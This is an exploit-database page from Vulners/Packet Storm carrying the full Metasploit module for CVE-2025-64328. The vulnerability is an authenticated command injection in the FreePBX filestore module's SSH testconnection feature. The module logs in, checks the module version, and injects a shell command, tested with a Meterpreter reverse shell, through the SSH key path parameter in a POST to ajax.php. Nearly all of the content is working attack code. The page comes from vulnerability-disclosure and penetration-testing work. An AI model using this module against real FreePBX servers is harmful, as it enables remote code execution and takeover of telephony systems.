Lucene search
K

📄 FreePBX Filestore Authenticated Command Injection

🗓️ 13 Mar 2026 00:00:00Reported by Cory Billington, Valentin LobsteinType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 101 Views

Authenticated command injection in FreePBX filestore SSH testconnection uses unsanitized SSH key path input.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::FreePBX
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'FreePBX filestore authenticated command injection',
            'Description' => %q{
              This module exploits an authenticated command injection vulnerability (CVE-2025-64328) in the
              FreePBX filestore module. The filestore module allows administrators to configure remote file
              storage backends (SSH, FTP, etc.) for backup and file management purposes.
    
              The vulnerability exists in the SSH driver's testconnection functionality, specifically in the
              check_ssh_connect() function located at /admin/modules/filestore/drivers/SSH/testconnection.php.
              The function accepts user-controlled input for the SSH key path parameter, which is then passed
              unsanitized to exec() calls when generating SSH keys.
    
              The vulnerable code executes commands such as:
              exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");
    
              By injecting shell command substitution syntax (e.g., $(command)) into the key parameter, an
              authenticated user can execute arbitrary commands on the underlying system with the privileges of
              the web server process (typically the asterisk user).
    
              This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in
              17.0.2.36, patched in 17.0.3). The module requires valid FreePBX credentials for a user account that
              has access to the filestore module. The user must be in the "Filestore" group (administrator or
              low-privilege user).
    
              Note: Due to the vulnerable code structure, the injected command may be executed multiple times,
              potentially resulting in multiple Meterpreter sessions.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Cory Billington',                            # Vulnerability discovery
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
            ],
            'References' => [
              ['CVE', '2025-64328'],
              ['GHSA', 'vm9p-46mv-5xvw', 'FreePBX/security-reporting'],
              ['URL', 'https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/']
            ],
            'Platform' => %w[unix linux],
            'Arch' => ARCH_CMD,
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-11-08',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [false, 'The URI for the FreePBX installation', '/']),
            OptString.new('USERNAME', [true, 'FreePBX username (must be in the "Filestore" group)', 'admin']),
            OptString.new('PASSWORD', [true, 'FreePBX admin password', ''])
          ]
        )
      end
    
      class AuthenticationError < StandardError; end
      class ConnectionError < StandardError; end
    
      def check
        data = freepbx_get_login_page_data
        unless data[:detected]
          vprint_status('Target does not appear to be FreePBX')
          return CheckCode::Safe('Not FreePBX')
        end
    
        begin
          cookie = authenticate
        rescue AuthenticationError
          return CheckCode::Detected('Invalid credentials')
        rescue ConnectionError
          return CheckCode::Safe('Not FreePBX')
        end
    
        version = get_filestore_version_cached(cookie)
        return CheckCode::Detected('Filestore module version could not be determined') unless version
    
        version_obj = Rex::Version.new(version)
        return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3')
        return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36')
    
        CheckCode::Appears("Filestore module vulnerable (version #{version})")
      end
    
      def exploit
        cookie = authenticate
        get_filestore_version_cached(cookie)
        execute_command(payload.encoded, cookie)
      rescue AuthenticationError
        fail_with(Failure::NoAccess, 'Invalid credentials')
      rescue ConnectionError
        fail_with(Failure::Unknown, 'Connection error')
      end
    
      def authenticate
        data = freepbx_get_login_page_data
        raise ConnectionError, 'Target does not appear to be FreePBX' unless data[:detected]
    
        cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
        raise AuthenticationError, 'Invalid credentials' if cookie == :auth_failed
        raise ConnectionError, 'Connection error' if cookie.nil?
    
        cookie
      end
    
      def get_filestore_version_cached(cookie)
        return @filestore_version if @filestore_version
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
          'cookie' => cookie,
          'headers' => { 'Referer' => freepbx_referer },
          'vars_get' => {
            'display' => 'filestore'
          }
        )
    
        return nil unless res&.code == 200
    
        match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/)
        return nil unless match
    
        version = match[1]
        vprint_status("Filestore module version: #{version}")
        @filestore_version = version
        version
      end
    
      def execute_command(cmd, cookie)
        fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
          'cookie' => cookie,
          'headers' => {
            'Referer' => freepbx_referer
          },
          'vars_get' => {
            'module' => 'filestore',
            'command' => 'testconnection',
            'driver' => 'SSH'
          },
          'vars_post' => {
            'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
            'port' => rand(1024..65535).to_s,
            'user' => Rex::Text.rand_text_alphanumeric(8),
            'key' => "$(#{cmd})",
            'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
          }
        )
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Mar 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.17.2
CVSS 48.6
EPSS0.75413
SSVC
101